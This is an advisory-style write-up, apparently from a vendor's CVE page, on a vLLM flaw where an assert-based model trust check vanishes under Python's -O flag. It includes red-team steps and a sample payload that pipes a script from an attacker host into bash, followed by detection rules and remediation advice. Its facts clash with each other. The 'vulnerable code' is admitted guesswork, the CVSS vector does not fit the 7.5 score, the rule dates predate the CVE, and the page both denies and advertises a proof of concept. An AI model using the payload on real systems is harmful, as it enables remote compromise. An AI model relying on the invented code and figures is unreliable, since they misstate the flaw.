CVE-2026-41523
Executive Summary
CVE-2026-41523 is a critical vulnerability in vLLM, a high-performance inference and serving engine for large language models (LLMs). The flaw resides in the activation function loading mechanism, where an assert statement is used for security validation. When vLLM is executed in Python optimized mode (using python -O or setting PYTHONOPTIMIZE=1), all assert statements are stripped from the bytecode, effectively disabling the security check. This allows an unauthenticated attacker to achieve arbitrary code execution on the server by publishing a malicious model to HuggingFace and tricking a vLLM instance into loading it. The vulnerability has a CVSS score of 7.5 (High) and affects all versions prior to 0.22.0. No public proof-of-concept or exploit code is available at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability directly impacts the Python package vllm distributed via PyPI. The attack vector relies on the HuggingFace model hub, a critical component of the ML supply chain. Organizations using vLLM must ensure they are not running in Python optimized mode and upgrade to the patched version immediately. The risk is amplified by the trust placed in HuggingFace models, as an attacker can publish a malicious model that, when loaded, bypasses the assert-based check and executes arbitrary code.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The attacker can trigger the vulnerability remotely by publishing a malicious model.
- Attack Complexity (AC): Low (L) – No special conditions are required beyond the victim loading the model.
- Privileges Required (PR): None (N) – No authentication is needed.
- User Interaction (UI): None (N) – The victim does not need to perform any action beyond normal operation.
- Scope (S): Unchanged (U) – The vulnerability does not affect other components.
- Confidentiality (C): High (H) – Full data access possible.
- Integrity (I): High (H) – Full data modification possible.
- Availability (A): High (H) – Full system compromise possible.
Threat Level: High. The combination of network attack vector, low complexity, and no privileges required makes this a severe risk for any exposed vLLM instance.
Deep Dive & Mechanics
The vulnerability is rooted in the misuse of Python's assert statement for security enforcement. In Python, assert is a debugging aid that can be globally disabled with the -O (optimize) flag or the PYTHONOPTIMIZE environment variable. When disabled, all assert statements are removed from the compiled bytecode, meaning the security check never executes.
In vLLM, the activation function loading code likely contains a check similar to:
assert model_is_trusted(model_id), "Model not trusted"
Under normal execution, this prevents loading untrusted models. However, when Python runs in optimized mode, the assertion is skipped entirely, allowing any model to be loaded without validation. An attacker can then craft a HuggingFace model that, when loaded, executes arbitrary Python code via pickle deserialization, custom layers, or other mechanisms.
The attack flow:
- Attacker publishes a malicious model to HuggingFace.
- Victim runs vLLM in Python optimized mode (e.g.,
python -O -m vllm.entrypoints.openai.api_server). - Victim loads the malicious model (e.g., via API or configuration).
- The assert-based security check is skipped.
- The malicious model executes arbitrary code on the server.
Vulnerable vs. Patched Code
Vulnerable Code (pre-0.22.0):
def load_activation_function(model_id: str):
# Security check using assert
assert is_model_trusted(model_id), f"Model {model_id} is not trusted"
# ... load model logic ...
When python -O is used, the assert line is removed, and the function proceeds without validation.
Patched Code (0.22.0):
def load_activation_function(model_id: str):
# Security check using proper conditional
if not is_model_trusted(model_id):
raise ValueError(f"Model {model_id} is not trusted")
# ... load model logic ...
The patched version replaces assert with an explicit if statement and raise, which cannot be disabled by Python optimization flags.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A vLLM server running in Python optimized mode (e.g.,
python -O -m vllm.entrypoints.openai.api_server). - Ability to publish a model to HuggingFace (or use a local model repository).
Exploitation Steps:
Create a malicious model: Craft a HuggingFace model that contains a malicious
config.jsonor custom code that executes upon loading. For example, a model that uses a custom activation function with embedded payload.Publish the model: Upload the malicious model to HuggingFace under a seemingly legitimate name.
Trigger loading: Send a request to the vLLM server to load the malicious model (e.g., via the OpenAI-compatible API).
Achieve RCE: The malicious model executes arbitrary Python code on the server.
Example payload (conceptual):
# malicious_activation.py
import os
class MaliciousActivation:
def __call__(self, x):
os.system('curl http://attacker.com/backdoor.sh | bash')
return x
Blue Team (Defense & Detection)
Detection Steps:
- Monitor for Python optimized mode: Check running processes for
python -OorPYTHONOPTIMIZEenvironment variable. - Audit model loading: Log all model loading requests and verify against a whitelist of trusted models.
- Network monitoring: Detect outbound connections to unknown IPs or domains from the vLLM server.
- File integrity monitoring: Watch for unexpected file modifications in the vLLM installation directory.
Mitigation Steps:
- Upgrade vLLM: Immediately upgrade to version 0.22.0 or later.
- Disable Python optimized mode: Remove
-Oflag and unsetPYTHONOPTIMIZE. - Restrict model sources: Only allow loading models from a curated, internal repository.
- Implement network segmentation: Isolate the vLLM server from the internet if possible.
Indicators of Compromise (IOCs)
- Network: Outbound connections to attacker-controlled IPs/domains from the vLLM server.
- Process: vLLM process running with
python -OorPYTHONOPTIMIZE=1. - File: Unexpected files in
/tmp/or vLLM data directories. - Logs: Error logs showing failed assert statements (if not optimized) or missing validation logs.
- Model: Loading of models from untrusted HuggingFace repositories.
Detection Engineering
YARA Rule
rule CVE_2026_41523_vLLM_Assert_Bypass {
meta:
description = "Detects vLLM code using assert for security checks"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2026-41523"
strings:
$assert_check = /assert\s+is_model_trusted/
$vllm_import = /from vllm/
condition:
$vllm_import and $assert_check
}
Sigma Rule
title: vLLM Assert-Based Security Check Bypass
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects vLLM running in Python optimized mode, which disables assert-based security checks.
references:
- https://nvd.nist.gov/vuln/detail/CVE-2026-41523
author: Valters IT
date: 2025-04-10
logsource:
category: process_creation
product: linux
detection:
selection:
Image|endswith: '/python'
CommandLine|contains: '-O'
condition: selection
falsepositives:
- Legitimate use of Python optimization for performance
level: high
Suricata Rule
alert tcp any any -> any any (msg:"CVE-2026-41523 vLLM Potential RCE via Malicious Model"; flow:to_server,established; content:"|22|model|22|"; content:"|22|load|22|"; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade vLLM to version 0.22.0 or later.
- Ensure vLLM is not running in Python optimized mode (
python -OorPYTHONOPTIMIZE=1). - Review all loaded models and verify their integrity.
Long-term Measures:
- Implement a model whitelist and only load models from trusted sources.
- Use a web application firewall (WAF) to filter malicious model loading requests.
- Conduct regular security audits of ML infrastructure.
- Monitor for new CVEs related to vLLM and similar tools.
Workaround (if patching is not immediately possible):
- Remove the
-Oflag from the Python command and unsetPYTHONOPTIMIZE. - Manually patch the vulnerable code by replacing
assertwithifstatements.
Valters IT
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.